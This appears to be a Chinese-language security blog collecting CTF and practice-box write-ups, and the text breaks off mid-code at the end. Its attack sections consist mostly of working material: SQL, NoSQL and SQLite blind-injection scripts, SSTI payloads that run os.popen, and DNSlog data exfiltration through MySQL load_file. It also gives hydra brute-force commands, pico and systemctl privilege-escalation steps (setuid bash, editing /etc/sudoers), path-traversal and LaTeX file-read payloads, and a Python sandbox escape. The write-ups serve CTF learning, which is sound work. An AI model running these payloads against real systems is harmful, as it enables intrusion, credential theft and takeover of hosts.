0%

sql异或注入

当waf过滤了很多东西,但是没有过滤异或(^)符的时候使用。

什么是异或注入

异步注入说简单一点就是在构造where后面的判断条件时使用^(异或符号)来达到sql注入攻击的目的

1^1=0 1^0=1

异或注入就是利用sql语句来进行盲注

例如:

1
select * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$);

这里就是看数据库的第变量1个字符是否等于变量2,如果相等就会变成1^1返回的是0,所以我们应该在最后再异或一个1

1
select * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$)^1;

这样如果数据库的第变量1个字符等于变量2就会返回1,然后再配合脚本实现异或注入


脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url = ""
pay=''
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
# 库名
#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
# 表名
# temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# 字段名
# temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# 内容
pay = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url+pay)
time.sleep(0.04)
print(low, high, mid, ":")
if "Click" in r.text: #自行更改返回字符
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
column += chr(mid)
print(column)

print("All:", column)

昨天我发现了一个问题

1
2
3
4
<?php
$a='693741';
$a=base_convert($a,10,36);
$a(system("dir"));

$a是36进制的eval转换成的10进制

所以这个代码其实就是eval(system("dir"));,但是运行的时候却报错了

1
PHP Fatal error:  Uncaught Error: Call to undefined function eval()

然后去网上了解了才知道

eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用`

类似的语法构造还有:echoprintunset()isset()empty()includerequire

就比如

1
2
3
4
5
6
7
8
9
print "asdasd";
>asdasd

function myprint($a)
{
print $a;
}
myprint "asdasdasd";
>Parse error: syntax error, unexpected '"asdasdasd"' (T_CONSTANT_ENCAPSED_STRING)

直接print "asdasd"就可以打印出字符,但是自己构造的函数却没有办法这样。

所以网上有的一句话木马来调用eval的其实都不可以,换成assert就可以了。

order by比较大小盲注

这是表里的所有东西

如果我们执行select * from flag where id='' or 1 union select 1,1 order by 2;会出现

不能用and否则就相当于创建了一个虚拟的表,查询不到原来的数据。

我们知道flag的第一位是f,如果我们查询select * from flag where id='' or 1 union select 1,'f' order by 2;会发生什么呢?

还是这样,第一行没什么用,但是如果我们查询的是g的话就会变成这样

flag的值就会出现在第一行,我们就可以利用这一点来进行order by盲注

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url="http://4ef0329e-10b4-4bd1-bf0a-0d80fe83129d.challenge.ctf.show/"
str=string.digits+string.ascii_letters
flag=''
j=''
for i in range(1,50):
for s in str:
data = {
'username': "' or 1 union select 1,2,'{0}' order by 3#".format(flag+s),
'password': '1111'
}
r=requests.post(url,data=data)
if "</code>admin" in r.text:
flag+=chr(ord(s)-1)
print(flag)
break;

根据脚本自行修改

描述

哦,不,我们的网络服务器受到了损害。攻击者使用了0day,所以我们不知道他是如何进入管理面板的。调查一下。

这是一个 OSCP Prep Box,它基于我最近发现的 CVE。它位于 OSCP 实验室机器级别。

渗透过程

首先就是信息搜集,靶机的ip用nmap或者netdiscover都可以

靶机ip:192.168.56.102

然后扫描一下全部的端口

nmap -sS -p- 192.168.56.102 -T4 --min-rate 1000 -oN nmap.txt

结果如下:

1
2
3
4
5
PORT    STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds

然后扫一下端口的信息,和服务的版本

nmap -sV -sC -O -p22,80,139,445 192.168.56.102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT    STATE SERVICE     VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a3d84a89a9256d07c53d762806edd1c0 (RSA)
| 256 e7b289055457dc02f48c3a7c558b51aa (ECDSA)
|_ 256 fd77072b4a163a016be0000c0a36d82f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/tiki/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:26:96:01 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 7h59m57s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time:
| date: 2023-12-04T20:55:56
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.95 seconds

可以发现有samba服务,可以对samba进行枚举

enum4linux跑一下可以找到silky的用户,用smbclient列举一下共享的资源

smbclient -L IP

1
2
3
4
5
6
Sharename       Type      Comment
--------- ---- -------
print$ Disk Printer Drivers
Notes Disk My Notes
IPC$ IPC IPC Service (ubuntu server (Samba, Ubuntu))

能找到Notes,连接一下smbclient //192.168.56.102/Notes有一个Mail.txt

下载下来查看

1
2
3
4
5
6
7
8
9
10
#Mail.txt
Hi Silky
because of a current Breach we had to change all Passwords,
please note that it was a 0day, we don't know how he made it.

Your new CMS-password is now 51lky571k1,
please investigate how he made it into our Admin Panel.

Cheers Boss.

可以看到cms的密码,登录之后没什么用。

查看cms有没有什么历史漏洞

searchsploit tiki cms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Tiki Wiki CMS 15.0 - Arbitrary File Download | php/webapps/40080.txt
Tiki Wiki CMS Calendar 6.15/9.11 LTS/12.5 LTS/14.2 - Remote Code Execution | php/webapps/39965.txt
Tiki Wiki CMS Groupware - 'url' Open Redirection | php/webapps/36848.txt
Tiki Wiki CMS Groupware 21.1 - Authentication Bypass | php/webapps/48927.py
Tiki Wiki CMS Groupware 5.2 - Multiple Vulnerabilities | php/webapps/15174.txt
Tiki Wiki CMS Groupware 7.2 - 'snarf_ajax.php' Cross-Site Scripting | php/webapps/35974.txt
Tiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection | php/webapps/36470.txt
Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection | php/webapps/18265.txt
Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution | php/webapps/19573.php
Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution (Metasploit) | php/webapps/19630.rb
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

查看web服务cms的版本用dirsearch可以找到一个changelog

访问可以看到版本为21.1,正好有一个历史漏洞

searchsploit tiki cms -m 48927 将脚本下载下来运行,重置admin的密码为空,然后用admin登录bp抓包修改登录密码为空,成功登录。在lastchange的Credentials里可以找到silky:Agy8Y7SPJNXQzqA 这个是ssh的密码,用ssh连接,查看id,发现用户在sodu组下,可以直接sudo su提权。

小结

一开始靶场搭建的时候出了点问题导致发现不了靶机的地址,是因为我的攻击机和靶机不在一个局域网内,将靶机的网卡和攻击机桥接在一起就可以了

记录下来的只有正确的路线,渗透过程中还要去试着探索其他的功能点

CTFC

刷题的时候见到过这种题,其实就是注入+爆破嘛,但之前遇到的是sql注入的,这说明现在数据库类型见的不多

题目给了一个附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#app.py
from flask import Flask,render_template,request,session,redirect
import pymongo
import os
from functools import wraps
from datetime import timedelta
from hashlib import md5
from time import sleep

app = Flask(__name__)
app.secret_key = os.environ['SECRET_KEY']

# db settings
client = pymongo.MongoClient('localhost',27017)
db = client.ctfdb

def createChalls():
db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})

# login check
def check_login(f):
@wraps(f)
def wrap(*args,**kwrags):
if 'user' in session:
return f(*args,**kwrags)
else:
return render_template('dashboard.html')
return wrap

# routes
from user import routes

@app.route('/')
@check_login
def dashboard():
challs = []
for data in db.challs.find():
del data['challenge_flag']
challs.append(data)
chall_1 = challs[0]
chall_2 = challs[1]
return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2)

@app.route('/register')
def register():
return render_template('register.html')

@app.route('/login')
def login():
return render_template('login.html')

@app.route('/logout')
def logout():
session.clear()
return redirect('/')

@app.route('/submit_flag',methods=['POST'])
@check_login
def submit_flag():
_id = request.json.get('_id')[-1]
submitted_flag = request.json.get('challenge_flag')
chall_details = db.challs.find_one(
{
"_id": md5(md5(str(_id).encode('utf-8')).hexdigest().encode('utf-8')).hexdigest(),
"challenge_flag":submitted_flag
}
)
if chall_details == None:
return "wrong flag!"
else:
return "correct flag!"

# wait untill mongodb start then create the challs in db
sleep(10)
createChalls()

能看出是MongoDB可以用$regex 进行正则匹配

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests, string
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

headers = {
'Content-Type': 'application/json'
}

cookies = {
'session': 'eyJ1c2VyIjp7Il9pZCI6IjNhZDFlZGRlODNkMzRmMjhiZTMwMDdiYTIxOWQzZDUyIiwidXNlcm5hbWUiOiJhc2Rhc2QifX0.ZVoXtA.-obI_0v_QOu3KgulYZCyrYukpiM'
} #登录的session

flag = ''

while True:
for l in string.ascii_letters + string.digits + "_{}":
data = '{"_id":"_id:3","challenge_flag":{"$regex":"^' + flag + l + '.*"}}'
print(data)
data = requests.post('https://ctfc2.ctf.intigriti.io/submit_flag', data = data, headers = headers, cookies = cookies, verify=False)
print(data.text)
if 'correct flag!' in data.text:
flag += l
print(flag)
break
else:
print('Failed')
exit(1)

Bug Bank

有两种解法,预期解我也没看懂,非预期解就很简单了,通过转钱的功能转-100000000原账号就会减-100000000就会变成正的,就可以买flag了

预期解可以参考:

1
2
3
https://github.com/opabravo/security-writeups/blob/main/ctf/2023-11-17%20Intigriti%201337up%20CTF%202023.md

https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering

Smarty Pants

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#index.php
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';

if(!isset($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->display('index.tpl');
exit();
}

// returns true if data is malicious
function check_data($data){
global $pattern;
return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->assign('error', 'Malicious Inputs Detected');
$smarty->display('index.tpl');
exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

用换行符绕过即可

Bug Report Repo

首先是sql盲注,数据库是sqlite,自己写的脚本,效率不够,还是得靠sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import websocket
import string
import json
str=string.ascii_letters+string.digits+string.punctuation
ws = websocket.WebSocket()
ws.connect("wss://bountyrepo.ctf.intigriti.io/ws")
flag=''
for j in range(1,300):
aaa=False
for i in str:
# data={"id":f"11 and length(sqlite_version())={j}"}判断数据库长度
# data={"id":f"11 AND SUBSTR((SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'),1,1)=CHAR({j})"}判断表长度
#data={"id":f"11 and substr((select group_concat(tbl_name) from sqlite_master where type='table' limit 0,1),{j},1)='{i}'"}
data = {"id": f"11 and substr((select group_concat(sql) from sqlite_master),{j},1)='{i}'"}
data=json.dumps(data)
#print(data)
ws.send(data)
a=ws.recv()
print(a)
if 'Bug report from ethical_hacker is Open' in a:
aaa=True
flag+=i
print(flag)
break
#continue
if aaa == False:
print("ok")
break

附一个别的师傅写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string
from websockets.sync.client import connect
import json

URL = 'bountyrepo.ctf.intigriti.io'
# ALPHABET = string.ascii_uppercase # string.ascii_letters + '{!_}'
ALPHABET = string.digits + '.'
PAYLOAD = "1 AND (select sqlite_version()) LIKE '{guess}%' -- -"

# flag = 'INTIGRITI'
flag = ''
with connect(f"wss://{URL}/ws") as websocket:
while True:
for c in ALPHABET:
payload = PAYLOAD.format(guess=flag + c)
print('\r>>>', payload, end='')
websocket.send(json.dumps({"id": payload}))
message = websocket.recv()
if 'Bug not found!' not in message:
flag += c
print()
print(flag)
break


'''
# PAYLOAD = "1 AND (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') LIKE '{tables}%' -- -"
# tables = "bug_reports"
# PAYLOAD = "1 AND (SELECT GROUP_CONCAT(name) FROM PRAGMA_TABLE_INFO('bug_reports')) LIKE '{guess}%' --"
# columns = 'id,category,description,severity,cvss_score,status,reported_by,reported_date'
'''

爆出来的一条有用的东西

1
crypt0:c4tz on /4dm1n_z0n3, really?!

访问是一个登录页面,用给的用户名密码登录,他是得是admin,那就是jwt,但是不知道密钥啊,这个时候就用到了一个工具jwt-cracker爆破密钥,字典用rockyou,key是catsarethebest,伪造admin就ok了

Pizza Time

只有一处功能点….

1
sudo nmap -sVC -T4 -Pn -vv -p 443 pizzatime.ctf.intigriti.io

探测web服务,用的是ngnix,可以猜测是Flask/Django或者node

首先fuzz,可以看出除了&+的所有的特殊字符都被过滤了大括号也被过滤了,难道不是SSTI么?不!他就是SSTI,%0a可以绕过,具体原理是什么我得分析分析源码再写

payload:

1
x%0a{{lipsum.__globals__["os"].popen('cat+/etc/passwd').read()}}

但是这样会报500,将命令放进header里就可以绕过了

1
x%0a{{lipsum.__globals__["os"].popen(request.headers.get("X")).read()}}

什么是DNSlog

DNS(Domain Name System)域名服务系统,简单的说就是域名与IP转换服务,比如用户输入a.com,DNS就会将a.com解析找到它真实的ip,以便于访问服务器上的相关服务,DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似于日志文件。

DNSlog回显原理

首先我们先了解一下多级域名的概念

域名分级与域名解析过程(DNS)

因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。例如872323857.github.io,io就是顶级域名,github就是二级域名,872323857就是三级域名。且域名不分大小写。

通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

自己操作一下才能更好的理解,首先在http://www.dnslog.cn/上获得一个域名,然后我们ping一下

我们将1换成别的试试

可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和域名拼接起来。

DNSlog利用

sql注入

就以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。那
和只能在windows上用有什么关系呢,这里就涉及到Windows的一个小Tips——UNC路径

UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
\abc.xxx\test
这也就解释了为什么CONCAT()函数拼接了4个\了,双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。

在mysql中执行命令select load_file('\\\\a.a92pjl.dnslog.cn\\a');可以看到

和之前的结合起来构造语句,用sqli靶场来测试

1
2
' and if((select load_file(concat('\\\\',(select database()),'.
bhf0ay.dnslog.cn\\abc'))),1,0)--+

小结

DNSlog注入不止可以用于sql注入,还可以用于xss,xxe,ssrf等,思路打开。

可以参考:

https://www.cnblogs.com/Xy--1/p/12896599.html

跟着别人的视频打一下。

靶场直接就给了ip地址,用nmap扫一下端口

开放了445端口,445端口默认开放的是SMB服务,可以利用相关的工具,smbclientsmbmap

smbmap扫描可以发现有一个匿名的共享,用smbclient //ip/anonymous连接,空密码直接回车就行。

查看文件发现只有一个share,用get share下载下来,查看share文件。

给了Admin89492D216D0A212F8ED54FC5AC9D340B,猜测是账号密码,md5解密得qazwsxedc,用xftp连接,或者用lftp连接也可以。

ftp可以连接,ssh试过之后也可以连接。利用linpeas.sh搜集一下有没有可以提权的东西

工具地址:https://github.com/carlospolop/PEASS-ng

但是用户权限太低,没有办法提权。

cd到/Syst3m/F4iluR3,里面有很多文件

他们的大小也都差不多,用find ./ -size +1696c命令找一下有没有不正常的文件,确实能找到file0189.txt,用diff命令可以比一下他与其他的文件有什么不同,但是发现文件内容是一行的,所以要给他们变成单行的。

cat file0189.txt |xargs -n 1 > /tmp/tmp1 cat file.txt |xargs -n 1 > /tmp/tmp1然后再用diff判断他们有什么不同。

发现后面有一串不一样的,需要解密,base62解密得到/Sup3rS3cR37

这个文件夹在/var/www/html/area4里,下载useful.txt,查看/etc/passwd能发现用户名,利用hydra进行爆破

命令:hydra -L user.txt -P useful.txt ssh://192.168.2.243 -V -I -u -e nsr

1
2
3
-V 显示详细信息
-I 忽略现有的恢复文件(不要等待 10 秒)
-e “n”表示空密码,“s”尝试登录为通过,“r”尝试反向登录为通过

可以爆破出来密码,登录valex用户。

sudo -l:列出用户可以执行和不可以执行的命令。

可以发现jin用户可以用pico。在网上能找到nano的提权方式

执行命令sudo -u jin /usr/bin/pico 然后

1
2
^R^X
reset; sh 1>&0 2>&0

然后就到jin这个用户了,这个时候就可以执行systemctl了,这个时候就可以用systemctl进行提权。

1
2
3
4
5
6
7
8
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF

或者修改sudoers

1
echo \"admin ALL=(ALL:ALL) ALL">>/etc/sudoers

读取到root.txt

FORENSICS

DOWN BAD

修改图片的高度就能得到flag

LIST

比赛的时候与正确答案插肩而过了,我真该死啊。

附件给了一个流量包,追踪TCP流能发现有类似command=echo+%22ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw%3D%22+%7C+base64+-d+%7C+bash这种,解码是 find /home/ctf -type f -name "T" 2>/dev/null多解码几个可以发现-name的参数就是flag

可以用strings list.pcap|grep command这个代码找到所有的flag,用脚本解码快一点,一个一个解码也可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64

traces = open("./2.txt", "r").readlines()

base64_commands = []

for t in traces:
t = t.replace("command=echo+%22", "")
t = t.replace("%22+%7C+base64+-d+%7C+bash", "")
t = t.replace("%3D", "")
t = t.strip()

print(base64.b64decode(t + "=" * (len(t) % 4)).decode()[30], end="")

WEB

waiting-an-eternity

看文件头,要等好长事件之后才会刷新,直接访问后面的url

secretcode是md5解密,但是没什么用,Cookie里有time是时间戳将他改成NAN显示flag

funny factorials

附件给了一个app.py

可控点在这里,通过改变主题得到flag

1
2
3
4
5
6
7
8
9
10
11
12
def filter_path(path):
# print(path)
path = path.replace("../", "")
try:
return filter_path(path)
except RecursionError:
# remove root / from path if it exists
if path[0] == "/":
path = path[1:]
print(path)
return path

将path里面的../删掉了,如果path开头是/会忽视掉,但是如果递归超过1000次就会进入RecursionError然后访问根目录下的flag.txt就行

payload:

1
POST /?theme=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..///flag.txt

latek

关于latek可以看看这篇文章https://www.freebuf.com/articles/security-management/308191.html

直接用\input的话flag输出不完全,问了chatgpt可以用其他方法进行任意文件读取

1
2
3
4
5
6
7
\documentclass{article}
\usepackage{verbatim}
\begin{document}
Hello, world!
\verbatiminput{/flag.txt}
\end{document}

REV

volcano

ida分析,先看main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-C8h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-C0h] BYREF
unsigned __int64 v9; // [rsp+18h] [rbp-B8h] BYREF
unsigned __int64 v10; // [rsp+20h] [rbp-B0h]
FILE *stream; // [rsp+28h] [rbp-A8h]
char s[136]; // [rsp+30h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+B8h] [rbp-18h]

v13 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Give me a bear: ");
v7 = 0LL;
__isoc99_scanf("%llu", &v7);
if ( !sub_12BB(v7) )
{
puts("That doesn't look like a bear!");
return 1LL;
}
else
{
printf("Give me a volcano: ");
v8 = 0LL;
__isoc99_scanf("%llu", &v8);
if ( (unsigned __int8)sub_13D9(v8) != 1 )
{
puts("That doesn't look like a volcano!");
return 1LL;
}
else
{
printf("Prove to me they are the same: ");
v9 = 0LL;
v10 = 4919LL;
__isoc99_scanf("%llu", &v9);
if ( (v9 & 1) != 0 && v9 != 1 )
{
v4 = sub_1209(v8);
if ( v4 == sub_1209(v7)
&& (v5 = sub_124D(v8), v5 == sub_124D(v7))
&& (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )
{
puts("That looks right to me!");
stream = fopen("flag.txt", "r");
fgets(s, 128, stream);
puts(s);
return 0LL;
}
else
{
puts("Nope that's not right!");
return 1LL;
}
}
else
{
puts("That's not a valid proof!");
return 1LL;
}
}
}
}

先看sub_12BBsub_13D9这两个

1
2
3
4
5
6
7
8
9
10
11
12
_BOOL8 __fastcall sub_12BB(unsigned __int64 a1)
{
if ( (a1 & 1) != 0 )
return 0LL;
if ( a1 % 3 != 2 )
return 0LL;
if ( a1 % 5 != 1 )
return 0LL;
if ( a1 % 7 == 3 )
return a1 % 109 == 55;
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
_BOOL8 __fastcall sub_13D9(unsigned __int64 a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = 0LL;
while ( a1 )
{
v2 += a1 & 1;
a1 >>= 1;
}
return v2 > 16 && v2 <= 26;
}

逻辑很简单,写脚本爆破一下就行

看后面

1
2
3
if ( v4 == sub_1209(v7)
&& (v5 = sub_124D(v8), v5 == sub_124D(v7))
&& (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )

前几个完全没用只用考虑最后一个括号里的内容就行。

sub_1430:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall sub_1430(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v5; // [rsp+10h] [rbp-18h]
unsigned __int64 v6; // [rsp+20h] [rbp-8h]

v6 = 1LL;
v5 = a1 % a3;
while ( a2 )
{
if ( (a2 & 1) != 0 )
v6 = v5 * v6 % a3;
a2 >>= 1;
v5 = v5 * v5 % a3;
}
return v6;
}

直接写脚本爆破就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def check1(a1):
if a1 & 1 != 0:
return 0
if a1 % 3 != 2:
return 0
if a1 % 5 != 1:
return 0
if a1 % 7 == 3:
return a1 % 109 == 55
return 0
def check2(a1):
v2 = 0
while a1:
v2 += a1 & 1
a1 >>= 1
return 16 < v2 <= 26
def s():
for i in range(1,10000000):
if check1(i) and check2(i):
print(i)
def a():
for i in range(1,10):
if ((i & 1) != 0 and (i!= 1)):
print(i)
s() #输出前两个数
a() #输出第三个数

bear和volcano的数值一样。

MISC

Censorship

给了一个main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/local/bin/python
from flag import flag

for _ in [flag]:
while True:
try:
code = ascii(input("Give code: "))
if "flag" in code or "e" in code or "t" in code or "\\" in code:
raise ValueError("invalid input")
exec(eval(code))
except Exception as err:
print(err)

可以执行python的命令,但是不能有flag,e,t,flag是被定义的但是print里有t没有办法回显,可以用python的内置函数获得print。

payload:

1
vars(globals()[dir()[2]])[globals()[dir()[2]].__dir__()[42]](globals())

WEB

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#main.py
import os
